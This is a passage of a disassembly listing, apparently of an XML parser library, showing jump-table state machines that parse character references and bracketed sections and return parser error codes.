loc_69B32CF8: ; CODE XREF: sub_69B32BA0+11Bj
mov eax, 0C00CE506h
jmp loc_69B32ED1
; ---------------------------------------------------------------------------
loc_69B32D02: ; CODE XREF: sub_69B32BA0+21j
; DATA XREF: .text:off_69B32ED6o
lea ecx, [esi+5Ch] ; jumptable 69B32BC1 case 3
cmp [ecx], bl
jnz loc_69B32EB0
lea eax, [esi+52h]
mov dx, [eax]
cmp dx, 23h
jnz short loc_69B32D6A
cmp [esi+0A8h], bl
jnz short loc_69B32D2D
push ecx
mov ecx, [esi+34h]
push eax
call sub_69B35FE4
jmp short loc_69B32D34
; ---------------------------------------------------------------------------
loc_69B32D2D: ; CODE XREF: sub_69B32BA0+17Fj
mov ecx, esi
call sub_69B34A8C
loc_69B32D34: ; CODE XREF: sub_69B32BA0+18Bj
cmp eax, ebx
jnz loc_69B32ED1
mov word ptr [esi+4], 4
loc_69B32D42: ; CODE XREF: sub_69B32BA0+21j
; DATA XREF: .text:off_69B32ED6o
lea eax, [esi+5Ch] ; jumptable 69B32BC1 case 4
cmp [eax], bl
jnz loc_69B32EB0
lea ecx, [esi+52h]
cmp word ptr [ecx], 78h
jnz short loc_69B32DB5
cmp [esi+0A8h], bl
jnz short loc_69B32D92
push eax
push ecx
mov ecx, [esi+34h]
call sub_69B35FE4
jmp short loc_69B32D99
; ---------------------------------------------------------------------------
loc_69B32D6A: ; CODE XREF: sub_69B32BA0+177j
push edx
call sub_69B31987
test eax, eax
jnz short loc_69B32D7E
loc_69B32D74: ; CODE XREF: sub_69B32BA0+31Cj
mov eax, 0C00CE50Eh
jmp loc_69B32ED1
; ---------------------------------------------------------------------------
loc_69B32D7E: ; CODE XREF: sub_69B32BA0+1D2j
push 26h
mov ecx, esi
call sub_69B31F28
mov word ptr [esi+4], 7
jmp loc_69B32EC8
; ---------------------------------------------------------------------------
loc_69B32D92: ; CODE XREF: sub_69B32BA0+1BCj
mov ecx, esi
call sub_69B34A8C
loc_69B32D99: ; CODE XREF: sub_69B32BA0+1C8j
cmp eax, ebx
jnz loc_69B32ED1
mov ecx, [esi+34h]
push ebx
call sub_69B318D1
mov word ptr [esi+4], 6
jmp loc_69B32EC8
; ---------------------------------------------------------------------------
loc_69B32DB5: ; CODE XREF: sub_69B32BA0+1B4j
mov ecx, [esi+34h]
push ebx
mov word ptr [esi+4], 5
call sub_69B318D1
loc_69B32DC4: ; CODE XREF: sub_69B32BA0+21j
; DATA XREF: .text:off_69B32ED6o
mov ecx, esi ; jumptable 69B32BC1 case 5
call sub_69B31DA3
cmp eax, ebx
jl loc_69B32ED1
cmp word ptr [esi+52h], 3Bh
jnz short loc_69B32E39
mov ecx, [esi+34h]
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
call sub_69B35C65
lea eax, [ebp+var_C]
push eax
push [ebp+var_4]
push [ebp+var_8]
call sub_69B31C6B
cmp eax, ebx
jl loc_69B32ED1
push [ebp+var_C]
loc_69B32E04: ; CODE XREF: sub_69B32BA0+2C9j
mov ecx, esi
call sub_69B31F28
push 2
mov ecx, esi
call sub_69B35447
cmp eax, ebx
jnz loc_69B32ED1
jmp loc_69B32EC2
; ---------------------------------------------------------------------------
loc_69B32E21: ; CODE XREF: sub_69B32BA0+21j
; DATA XREF: .text:off_69B32ED6o
mov ecx, esi ; jumptable 69B32BC1 case 6
call sub_69B31D34
xor ebx, ebx
cmp eax, ebx
jl loc_69B32ED1
cmp word ptr [esi+52h], 3Bh
jz short loc_69B32E43
loc_69B32E39: ; CODE XREF: sub_69B32BA0+238j
mov eax, 0C00CE50Dh
jmp loc_69B32ED1
; ---------------------------------------------------------------------------
loc_69B32E43: ; CODE XREF: sub_69B32BA0+297j
mov ecx, [esi+34h]
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_8]
push eax
call sub_69B35C65
lea eax, [ebp+var_4]
push eax
push [ebp+var_C]
push [ebp+var_8]
call sub_69B31BE5
cmp eax, ebx
jl short loc_69B32ED1
push [ebp+var_4]
jmp short loc_69B32E04
; ---------------------------------------------------------------------------
loc_69B32E6B: ; CODE XREF: sub_69B32BA0+21j
; DATA XREF: .text:off_69B32ED6o
xor eax, eax ; jumptable 69B32BC1 case 7
mov ax, [esi+52h]
push eax
call sub_69B31967
xor ebx, ebx
jmp short loc_69B32EA7
; ---------------------------------------------------------------------------
loc_69B32E7B: ; CODE XREF: sub_69B32BA0+309j
cmp [esi+5Ch], bl
jnz short loc_69B32EB0
xor eax, eax
mov ax, [esi+52h]
mov ecx, esi
push eax
call sub_69B31F28
push 7
mov ecx, esi
call sub_69B35447
cmp eax, ebx
jnz short loc_69B32ED1
xor eax, eax
mov ax, [esi+52h]
push eax
call sub_69B31967
loc_69B32EA7: ; CODE XREF: sub_69B32BA0+2D9j
test eax, eax
jnz short loc_69B32E7B
cmp [esi+5Ch], bl
jz short loc_69B32EB7
loc_69B32EB0: ; CODE XREF: sub_69B32BA0+167j
; sub_69B32BA0+1A7j ...
mov eax, 0C00CE559h
jmp short loc_69B32ED1
; ---------------------------------------------------------------------------
loc_69B32EB7: ; CODE XREF: sub_69B32BA0+30Ej
cmp word ptr [esi+52h], 3Bh
jnz loc_69B32D74
loc_69B32EC2: ; CODE XREF: sub_69B32BA0+27Cj
mov word ptr [esi+4], 2
loc_69B32EC8: ; CODE XREF: sub_69B32BA0+FEj
; sub_69B32BA0+1EDj ...
xor eax, eax
jmp short loc_69B32ED1
; ---------------------------------------------------------------------------
loc_69B32ECC: ; CODE XREF: sub_69B32BA0+19j
mov eax, 0C00CE512h ; default
loc_69B32ED1: ; CODE XREF: sub_69B32BA0+3Dj
; sub_69B32BA0+7Ej ...
pop edi
pop esi
pop ebx
leave
retn
sub_69B32BA0 endp
; ---------------------------------------------------------------------------
off_69B32ED6 dd offset loc_69B32BC8 ; DATA XREF: sub_69B32BA0+21r
dd offset loc_69B32BF9 ; jump table for switch statement
dd offset loc_69B32C33
dd offset loc_69B32D02
dd offset loc_69B32D42
dd offset loc_69B32DC4
dd offset loc_69B32E21
dd offset loc_69B32E6B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B32EF6 proc near ; DATA XREF: sub_69B33973+79o
; sub_69B35320+EDo
var_8 = byte ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, ecx
inc ebx
jmp loc_69B330C5
; ---------------------------------------------------------------------------
loc_69B32F0A: ; CODE XREF: sub_69B32EF6+1D6j
jmp ds:off_69B3339E[eax*4]
loc_69B32F11: ; DATA XREF: .text:69B333AAo
cmp byte ptr [esi+5Ch], 0
jnz loc_69B33243
cmp word ptr [esi+52h], 78h
jz loc_69B33203
mov word ptr [esi+4], 4
loc_69B32F2C: ; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
; DATA XREF: .text:69B333AEo
mov ecx, esi
call sub_69B31DA3
test eax, eax
jl loc_69B330D7
cmp word ptr [esi+52h], 3Bh
jnz loc_69B33238
mov ecx, [esi+34h]
mov edi, [ecx+8]
sub edi, [ecx+14h]
lea eax, [ebp+var_8]
sub edi, [esi+6Ch]
push eax
lea eax, [ebp+var_4]
push eax
dec edi
call sub_69B35C65
mov ecx, [ebp+var_4]
lea eax, [esi+0C0h]
push eax
lea eax, [edi-2]
push eax
mov eax, [esi+6Ch]
lea eax, [ecx+eax*2+4]
push eax
call sub_69B31C6B
test eax, eax
jl loc_69B330D7
push 2
mov dword ptr [esi+44h], 3Ah
jmp short loc_69B32FEE
; ---------------------------------------------------------------------------
loc_69B32F8E: ; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
; DATA XREF: .text:69B333B2o
mov ecx, esi
call sub_69B31D34
test eax, eax
jl loc_69B330D7
cmp word ptr [esi+52h], 3Bh
jnz loc_69B33238
mov ecx, [esi+34h]
mov edi, [ecx+8]
sub edi, [ecx+14h]
lea eax, [ebp+var_8]
sub edi, [esi+6Ch]
push eax
lea eax, [ebp+var_4]
push eax
dec edi
call sub_69B35C65
mov ecx, [ebp+var_4]
lea eax, [esi+0C0h]
push eax
lea eax, [edi-3]
push eax
mov eax, [esi+6Ch]
lea eax, [ecx+eax*2+6]
push eax
call sub_69B31BE5
test eax, eax
jl loc_69B330D7
push 3
mov dword ptr [esi+44h], 3Bh
loc_69B32FEE: ; CODE XREF: sub_69B32EF6+96j
pop ebx
loc_69B32FEF: ; CODE XREF: sub_69B32EF6+1A7j
mov word ptr [esi+4], 0Ah
jmp loc_69B330C5
; ---------------------------------------------------------------------------
loc_69B32FFA: ; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
; DATA XREF: .text:69B333B6o
cmp byte ptr [esi+5Ch], 0
jnz loc_69B33243
cmp word ptr [esi+52h], 3Bh
jnz loc_69B33238
mov eax, [esi+60h]
test eax, eax
jle short loc_69B3301C
sub eax, [esi+6Ch]
dec eax
jmp short loc_69B3301E
; ---------------------------------------------------------------------------
loc_69B3301C: ; CODE XREF: sub_69B32EF6+11Ej
xor eax, eax
loc_69B3301E: ; CODE XREF: sub_69B32EF6+124j
mov ecx, [esi+34h]
mov [esi+80h], eax
mov byte ptr [esi+0A5h], 0
mov edi, [ecx+8]
sub edi, [ecx+14h]
lea eax, [ebp+var_8]
sub edi, [esi+6Ch]
push eax
lea eax, [ebp+var_4]
push eax
dec edi
call sub_69B35C65
mov ecx, [ebp+var_4]
mov eax, [esi+6Ch]
lea ebx, [edi-1]
push ebx
lea eax, [ecx+eax*2+2]
push eax
call sub_69B31B59
test ax, ax
mov [esi+0C0h], ax
jnz short loc_69B33093
cmp [esi+8Bh], al
jz loc_69B3324D
mov eax, [esi+6Ch]
mov ecx, [ebp+var_4]
push ebx
lea eax, [ecx+eax*2+2]
push eax
call sub_69B1F9DC
cmp ax, 0FFFFh
mov [esi+0C0h], ax
jz loc_69B3324D
loc_69B33093: ; CODE XREF: sub_69B32EF6+16Dj
xor ebx, ebx
inc ebx
mov dword ptr [esi+44h], 3Ch
jmp loc_69B32FEF
; ---------------------------------------------------------------------------
loc_69B330A2: ; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
; DATA XREF: .text:69B333C6o
mov eax, [esi+44h]
cmp dword ptr [esi+40h], 0
mov [esi+40h], eax
mov eax, edi
jnz loc_69B3332A
mov ecx, [esi+34h]
sub eax, ebx
push eax
call sub_69B318D1
mov word ptr [esi+4], 0Bh
loc_69B330C5: ; CODE XREF: sub_69B32EF6+Fj
; sub_69B32EF6+FFj
movsx eax, word ptr [esi+4]
cmp eax, 0Ch
jbe loc_69B32F0A
mov eax, 0C00CE512h
loc_69B330D7: ; CODE XREF: sub_69B32EF6+3Fj
; sub_69B32EF6+87j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_69B330DC: ; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
; DATA XREF: .text:off_69B3339Eo
mov eax, [esi+34h]
and dword ptr [esi+40h], 0
mov ecx, [eax+8]
sub ecx, [eax+14h]
lea eax, [ecx-1]
test eax, eax
mov [esi+6Ch], eax
setnle al
mov ecx, esi
mov [esi+70h], al
call sub_69B31E9B
test al, al
jz short loc_69B3310C
mov eax, [esi+44h]
and dword ptr [esi+44h], 0
mov [esi+40h], eax
loc_69B3310C: ; CODE XREF: sub_69B32EF6+20Aj
mov word ptr [esi+4], 1
loc_69B33112: ; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
; DATA XREF: .text:69B333A2o
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B3312D
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B33134
; ---------------------------------------------------------------------------
loc_69B3312D: ; CODE XREF: sub_69B32EF6+223j
mov ecx, esi
call sub_69B34A8C
loc_69B33134: ; CODE XREF: sub_69B32EF6+235j
test eax, eax
jnz short loc_69B330D7
mov word ptr [esi+4], 2
loc_69B3313E: ; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
; DATA XREF: .text:69B333A6o
lea ecx, [esi+5Ch]
cmp byte ptr [ecx], 0
jnz loc_69B33243
lea eax, [esi+52h]
mov dx, [eax]
cmp dx, 23h
jnz short loc_69B33187
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B3316B
push ecx
mov ecx, [esi+34h]
push eax
call sub_69B35FE4
jmp short loc_69B33172
; ---------------------------------------------------------------------------
loc_69B3316B: ; CODE XREF: sub_69B32EF6+267j
mov ecx, esi
call sub_69B34A8C
loc_69B33172: ; CODE XREF: sub_69B32EF6+273j
test eax, eax
jnz loc_69B330D7
mov word ptr [esi+4], 3
loc_69B33180: ; CODE XREF: sub_69B32EF6+2C9j
; sub_69B32EF6+33Dj ...
xor eax, eax
jmp loc_69B330D7
; ---------------------------------------------------------------------------
loc_69B33187: ; CODE XREF: sub_69B32EF6+25Ej
push edx
call sub_69B31987
test eax, eax
jnz short loc_69B331DB
cmp [esi+86h], al
jz short loc_69B331C1
cmp [esi+0A5h], al
jz short loc_69B331AA
push 26h
mov ecx, esi
call sub_69B31F28
loc_69B331AA: ; CODE XREF: sub_69B32EF6+2A9j
; sub_69B32EF6+3EFj ...
mov byte ptr [esi+54h], 0
loc_69B331AE: ; CODE XREF: sub_69B32EF6+3DAj
push 1
mov ecx, esi
call sub_69B3220F
test eax, eax
jl loc_69B330D7
jmp short loc_69B33180
; ---------------------------------------------------------------------------
loc_69B331C1: ; CODE XREF: sub_69B32EF6+2A1j
mov esi, [esi+34h]
mov eax, [esi+48h]
sub eax, [esi+8]
neg eax
sbb eax, eax
and eax, 0FFFFFFF1h
add eax, 0C00CE513h
jmp loc_69B330D7
; ---------------------------------------------------------------------------
loc_69B331DB: ; CODE XREF: sub_69B32EF6+299j
push 6
push offset sub_69B32791
mov ecx, esi
call sub_69B320E7
test eax, eax
jl loc_69B330D7
mov ecx, esi
mov word ptr [esi+4], 1
call sub_69B32791
jmp loc_69B330D7
; ---------------------------------------------------------------------------
loc_69B33203: ; CODE XREF: sub_69B32EF6+2Aj
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B3321E
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B33225
; ---------------------------------------------------------------------------
loc_69B3321E: ; CODE XREF: sub_69B32EF6+314j
mov ecx, esi
call sub_69B34A8C
loc_69B33225: ; CODE XREF: sub_69B32EF6+326j
test eax, eax
jnz loc_69B330D7
mov word ptr [esi+4], 5
jmp loc_69B33180
; ---------------------------------------------------------------------------
loc_69B33238: ; CODE XREF: sub_69B32EF6+4Aj
; sub_69B32EF6+ACj ...
mov word ptr [esi+4], 9
jmp loc_69B33180
; ---------------------------------------------------------------------------
loc_69B33243: ; CODE XREF: sub_69B32EF6+1Fj
; sub_69B32EF6+108j ...
mov eax, 0C00CE559h
jmp loc_69B330D7
; ---------------------------------------------------------------------------
loc_69B3324D: ; CODE XREF: sub_69B32EF6+175j
; sub_69B32EF6+197j
mov eax, [esi+40h]
test eax, eax
jz short loc_69B3326D
mov ecx, edi
neg ecx
dec edi
mov [esi+48h], ecx
mov [esi+4Ch], edi
mov [esi+44h], eax
mov word ptr [esi+4], 7
jmp loc_69B33180
; ---------------------------------------------------------------------------
loc_69B3326D: ; CODE XREF: sub_69B32EF6+35Cj
mov ecx, [esi+34h]
dec edi
push edi
call sub_69B318D1
mov word ptr [esi+4], 7
loc_69B3327D: ; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
; DATA XREF: .text:69B333BAo
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B33298
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B3329F
; ---------------------------------------------------------------------------
loc_69B33298: ; CODE XREF: sub_69B32EF6+38Ej
mov ecx, esi
call sub_69B34A8C
loc_69B3329F: ; CODE XREF: sub_69B32EF6+3A0j
test eax, eax
jnz loc_69B330D7
mov eax, [esi+80h]
or dword ptr [esi+48h], 0FFFFFFFFh
mov dword ptr [esi+44h], 11h
mov [esi+60h], eax
loc_69B332BB: ; CODE XREF: sub_69B32EF6+4A3j
mov word ptr [esi+4], 8
jmp loc_69B33180
; ---------------------------------------------------------------------------
loc_69B332C6: ; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
; DATA XREF: .text:69B333BEo
mov ecx, [esi+34h]
push 0
call sub_69B318D1
jmp loc_69B331AE
; ---------------------------------------------------------------------------
loc_69B332D5: ; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
; DATA XREF: .text:69B333C2o
cmp byte ptr [esi+86h], 0
jz short loc_69B33320
cmp byte ptr [esi+0A5h], 0
jz loc_69B331AA
mov ecx, [esi+34h]
mov edi, [ecx+8]
sub edi, [ecx+14h]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
dec edi
call sub_69B35C65
mov ebx, [esi+6Ch]
jmp short loc_69B33317
; ---------------------------------------------------------------------------
loc_69B33307: ; CODE XREF: sub_69B32EF6+423j
mov eax, [ebp+var_4]
movzx eax, word ptr [eax+ebx*2]
push eax
mov ecx, esi
call sub_69B31F28
inc ebx
loc_69B33317: ; CODE XREF: sub_69B32EF6+40Fj
cmp ebx, edi
jl short loc_69B33307
jmp loc_69B331AA
; ---------------------------------------------------------------------------
loc_69B33320: ; CODE XREF: sub_69B32EF6+3E6j
mov eax, 0C00CE50Dh
jmp loc_69B330D7
; ---------------------------------------------------------------------------
loc_69B3332A: ; CODE XREF: sub_69B32EF6+1B8j
neg eax
sub edi, ebx
mov dword ptr [esi+44h], 0Dh
mov [esi+48h], eax
mov [esi+4Ch], edi
mov word ptr [esi+4], 0Bh
jmp loc_69B33180
; ---------------------------------------------------------------------------
loc_69B33346: ; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
; DATA XREF: .text:69B333CAo
xor eax, eax
mov ax, [esi+0C0h]
mov ecx, esi
mov byte ptr [esi+0A5h], 1
push eax
call sub_69B31F28
mov eax, [esi+40h]
mov [esi+44h], eax
mov word ptr [esi+4], 0Ch
jmp loc_69B33180
; ---------------------------------------------------------------------------
loc_69B3336F: ; CODE XREF: sub_69B32EF6:loc_69B32F0Aj
; DATA XREF: .text:69B333CEo
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B3338A
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B33391
; ---------------------------------------------------------------------------
loc_69B3338A: ; CODE XREF: sub_69B32EF6+480j
mov ecx, esi
call sub_69B34A8C
loc_69B33391: ; CODE XREF: sub_69B32EF6+492j
test eax, eax
jnz loc_69B330D7
jmp loc_69B332BB
sub_69B32EF6 endp
; ---------------------------------------------------------------------------
off_69B3339E dd offset loc_69B330DC ; DATA XREF: sub_69B32EF6:loc_69B32F0Ar
dd offset loc_69B33112
dd offset loc_69B3313E
dd offset loc_69B32F11
dd offset loc_69B32F2C
dd offset loc_69B32F8E
dd offset loc_69B32FFA
dd offset loc_69B3327D
dd offset loc_69B332C6
dd offset loc_69B332D5
dd offset loc_69B330A2
dd offset loc_69B33346
dd offset loc_69B3336F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B347D3
loc_69B333D2: ; CODE XREF: sub_69B347D3+1E9j
; DATA XREF: sub_69B33AED+9Do ...
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
sub eax, 0
jz short loc_69B333EE
dec eax
jz short loc_69B333F4
dec eax
jz short loc_69B33417
dec eax
jz short loc_69B33455
mov eax, 0C00CE512h
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B333EE: ; CODE XREF: sub_69B347D3-13F7j
mov word ptr [esi+4], 1
loc_69B333F4: ; CODE XREF: sub_69B347D3-13F4j
push 2
push offset sub_69B32791
mov ecx, esi
call sub_69B320E7
test eax, eax
jl short loc_69B3347C
mov ecx, esi
call sub_69B32791
test eax, eax
jl short loc_69B3347C
mov word ptr [esi+4], 2
loc_69B33417: ; CODE XREF: sub_69B347D3-13F1j
lea eax, [esi+5Ch]
cmp byte ptr [eax], 0
jnz short loc_69B3345B
lea ecx, [esi+52h]
cmp word ptr [ecx], 3Bh
jz short loc_69B3342F
mov eax, 0C00CE50Dh
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B3342F: ; CODE XREF: sub_69B347D3-13ADj
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B33444
push eax
push ecx
mov ecx, [esi+34h]
call sub_69B35FE4
jmp short loc_69B3344B
; ---------------------------------------------------------------------------
loc_69B33444: ; CODE XREF: sub_69B347D3-139Dj
mov ecx, esi
call sub_69B34A8C
loc_69B3344B: ; CODE XREF: sub_69B347D3-1391j
test eax, eax
jnz short loc_69B3347C
mov word ptr [esi+4], 3
loc_69B33455: ; CODE XREF: sub_69B347D3-13EEj
cmp byte ptr [esi+5Ch], 0
jz short loc_69B33462
loc_69B3345B: ; CODE XREF: sub_69B347D3-13B6j
mov eax, 0C00CE559h
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B33462: ; CODE XREF: sub_69B347D3-137Aj
or dword ptr [esi+48h], 0FFFFFFFFh
push 1
mov ecx, esi
mov dword ptr [esi+44h], 16h
call sub_69B3220F
test eax, eax
jl short loc_69B3347C
xor eax, eax
loc_69B3347C: ; CODE XREF: sub_69B347D3-13CFj
; sub_69B347D3-13C4j ...
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_69B347D3
; =============== S U B R O U T I N E =======================================
sub_69B3347E proc near ; DATA XREF: sub_69B33C72+11Eo
push ebx
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
xor ebx, ebx
sub eax, ebx
jz loc_69B335DA
dec eax
jz loc_69B33558
dec eax
jz loc_69B335AC
dec eax
jz short loc_69B334AC
dec eax
jz short loc_69B334E9
mov eax, 0C00CE512h
loc_69B334A9: ; CODE XREF: sub_69B3347E+63j
; sub_69B3347E+77j ...
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_69B334AC: ; CODE XREF: sub_69B3347E+21j
lea eax, [esi+5Ch]
cmp [eax], bl
jnz short loc_69B334F0
mov ecx, [esi+34h]
mov edx, [ecx+48h]
cmp edx, [ecx+8]
jz short loc_69B33502
lea edx, [esi+52h]
cmp word ptr [edx], 5Dh
jnz short loc_69B33512
cmp [esi+0A8h], bl
jnz short loc_69B334D8
push eax
push edx
call sub_69B35FE4
jmp short loc_69B334DF
; ---------------------------------------------------------------------------
loc_69B334D8: ; CODE XREF: sub_69B3347E+4Fj
mov ecx, esi
call sub_69B34A8C
loc_69B334DF: ; CODE XREF: sub_69B3347E+58j
cmp eax, ebx
jnz short loc_69B334A9
mov word ptr [esi+4], 4
loc_69B334E9: ; CODE XREF: sub_69B3347E+24j
lea eax, [esi+5Ch]
cmp [eax], bl
jz short loc_69B334F7
loc_69B334F0: ; CODE XREF: sub_69B3347E+33j
; sub_69B3347E+DFj ...
mov eax, 0C00CE562h
jmp short loc_69B334A9
; ---------------------------------------------------------------------------
loc_69B334F7: ; CODE XREF: sub_69B3347E+70j
mov ecx, [esi+34h]
mov edx, [ecx+48h]
cmp edx, [ecx+8]
jnz short loc_69B33509
loc_69B33502: ; CODE XREF: sub_69B3347E+3Ej
mov eax, 0C00CE513h
jmp short loc_69B334A9
; ---------------------------------------------------------------------------
loc_69B33509: ; CODE XREF: sub_69B3347E+82j
lea edx, [esi+52h]
cmp word ptr [edx], 3Eh
jz short loc_69B33519
loc_69B33512: ; CODE XREF: sub_69B3347E+47j
mov eax, 0C00CE511h
jmp short loc_69B334A9
; ---------------------------------------------------------------------------
loc_69B33519: ; CODE XREF: sub_69B3347E+92j
cmp [esi+0A8h], bl
jnz short loc_69B3352A
push eax
push edx
call sub_69B35FE4
jmp short loc_69B33531
; ---------------------------------------------------------------------------
loc_69B3352A: ; CODE XREF: sub_69B3347E+A1j
mov ecx, esi
call sub_69B34A8C
loc_69B33531: ; CODE XREF: sub_69B3347E+AAj
cmp eax, ebx
jnz loc_69B334A9
push 1
mov ecx, esi
mov dword ptr [esi+44h], 44h
call sub_69B3220F
cmp eax, ebx
jl loc_69B334A9
loc_69B33551: ; CODE XREF: sub_69B3347E+126j
xor eax, eax
jmp loc_69B334A9
; ---------------------------------------------------------------------------
loc_69B33558: ; CODE XREF: sub_69B3347E+13j
lea eax, [esi+5Ch]
cmp [eax], bl
jnz short loc_69B334F0
lea ecx, [esi+52h]
cmp word ptr [ecx], 5Bh
jz short loc_69B33572
mov eax, 0C00CE510h
jmp loc_69B334A9
; ---------------------------------------------------------------------------
loc_69B33572: ; CODE XREF: sub_69B3347E+E8j
cmp [esi+0A8h], bl
jnz short loc_69B33586
push eax
push ecx
mov ecx, [esi+34h]
call sub_69B35FE4
jmp short loc_69B3358D
; ---------------------------------------------------------------------------
loc_69B33586: ; CODE XREF: sub_69B3347E+FAj
mov ecx, esi
call sub_69B34A8C
loc_69B3358D: ; CODE XREF: sub_69B3347E+106j
cmp eax, ebx
jnz loc_69B334A9
mov ecx, [esi+34h]
push ebx
call sub_69B318D1
cmp [esi+0B0h], bl
jnz short loc_69B33551
mov word ptr [esi+4], 2
loc_69B335AC: ; CODE XREF: sub_69B3347E+1Aj
cmp [esi+5Ch], bl
jnz loc_69B334F0
inc dword ptr [esi+0ACh]
push 3
push offset sub_69B347D3
mov ecx, esi
call sub_69B320E7
cmp eax, ebx
jl loc_69B334A9
mov ecx, esi
pop esi
pop ebx
jmp sub_69B347D3
; ---------------------------------------------------------------------------
loc_69B335DA: ; CODE XREF: sub_69B3347E+Cj
push 1
push offset sub_69B3254F
mov ecx, esi
mov dword ptr [esi+44h], 0Ch
call sub_69B320E7
cmp eax, ebx
jl loc_69B334A9
mov ecx, esi
pop esi
pop ebx
jmp sub_69B3254F
sub_69B3347E endp
; =============== S U B R O U T I N E =======================================
sub_69B33600 proc near ; DATA XREF: sub_69B33C72+FEo
push ebx
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
cmp eax, 7 ; switch 8 cases
push edi
ja loc_69B3388B ; default
xor ebx, ebx
jmp ds:off_69B33894[eax*4] ; switch jump
loc_69B3361B: ; DATA XREF: .text:off_69B33894o
inc dword ptr [esi+0B4h] ; jumptable 69B33614 case 0
push 1
push offset sub_69B3254F
mov ecx, esi
call sub_69B320E7
test eax, eax
jmp short loc_69B33698
; ---------------------------------------------------------------------------
loc_69B33633: ; CODE XREF: sub_69B33600+14j
; DATA XREF: .text:off_69B33894o
lea eax, [esi+5Ch] ; jumptable 69B33614 case 1
xor ebx, ebx
cmp [eax], bl
jnz loc_69B3386D
lea ecx, [esi+52h]
cmp word ptr [ecx], 5Bh
jz short loc_69B33653
mov eax, 0C00CE510h
jmp loc_69B33890
; ---------------------------------------------------------------------------
loc_69B33653: ; CODE XREF: sub_69B33600+47j
cmp [esi+0A8h], bl
jnz short loc_69B33667
push eax
push ecx
mov ecx, [esi+34h]
call sub_69B35FE4
jmp short loc_69B3366E
; ---------------------------------------------------------------------------
loc_69B33667: ; CODE XREF: sub_69B33600+59j
mov ecx, esi
call sub_69B34A8C
loc_69B3366E: ; CODE XREF: sub_69B33600+65j
cmp eax, ebx
jnz loc_69B33890
cmp dword ptr [esi+0B4h], 1
jnz short loc_69B33688
mov ecx, [esi+34h]
push ebx
call sub_69B318D1
loc_69B33688: ; CODE XREF: sub_69B33600+7Dj
push 2
push offset sub_69B3254F
mov ecx, esi
call sub_69B320E7
cmp eax, ebx
loc_69B33698: ; CODE XREF: sub_69B33600+31j
jl loc_69B33890
pop edi
mov ecx, esi
pop esi
pop ebx
jmp sub_69B3254F
; ---------------------------------------------------------------------------
loc_69B336A8: ; CODE XREF: sub_69B33600+14j
; DATA XREF: .text:off_69B33894o
xor ebx, ebx ; jumptable 69B33614 case 2
mov [esi+8Dh], bl
lea edi, [esi+52h]
jmp short loc_69B336E5
; ---------------------------------------------------------------------------
loc_69B336B5: ; CODE XREF: sub_69B33600+E9j
cmp word ptr [edi], 3Ch
jz short loc_69B336EB
lea eax, [esi+5Ch]
cmp [eax], bl
jnz short loc_69B336EB
cmp [esi+0A8h], bl
jnz short loc_69B336D6
mov ecx, [esi+34h]
push eax
push edi
call sub_69B35FE4
jmp short loc_69B336DD
; ---------------------------------------------------------------------------
loc_69B336D6: ; CODE XREF: sub_69B33600+C8j
mov ecx, esi
call sub_69B34A8C
loc_69B336DD: ; CODE XREF: sub_69B33600+D4j
cmp eax, ebx
jnz loc_69B33890
loc_69B336E5: ; CODE XREF: sub_69B33600+B3j
cmp word ptr [edi], 5Dh
jnz short loc_69B336B5
loc_69B336EB: ; CODE XREF: sub_69B33600+B9j
; sub_69B33600+C0j
cmp [esi+5Ch], bl
jnz loc_69B3386D
cmp word ptr [edi], 3Ch
jnz short loc_69B33705
mov word ptr [esi+4], 6
jmp loc_69B33839
; ---------------------------------------------------------------------------
loc_69B33705: ; CODE XREF: sub_69B33600+F8j
mov word ptr [esi+4], 3
loc_69B3370B: ; CODE XREF: sub_69B33600+14j
; DATA XREF: .text:off_69B33894o
cmp [esi+0A8h], bl ; jumptable 69B33614 case 3
jnz short loc_69B33725
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B3372C
; ---------------------------------------------------------------------------
loc_69B33725: ; CODE XREF: sub_69B33600+111j
mov ecx, esi
call sub_69B34A8C
loc_69B3372C: ; CODE XREF: sub_69B33600+123j
cmp eax, ebx
jnz loc_69B33890
cmp [esi+5Ch], bl
jnz loc_69B3386D
cmp word ptr [esi+52h], 5Dh
jnz loc_69B33833
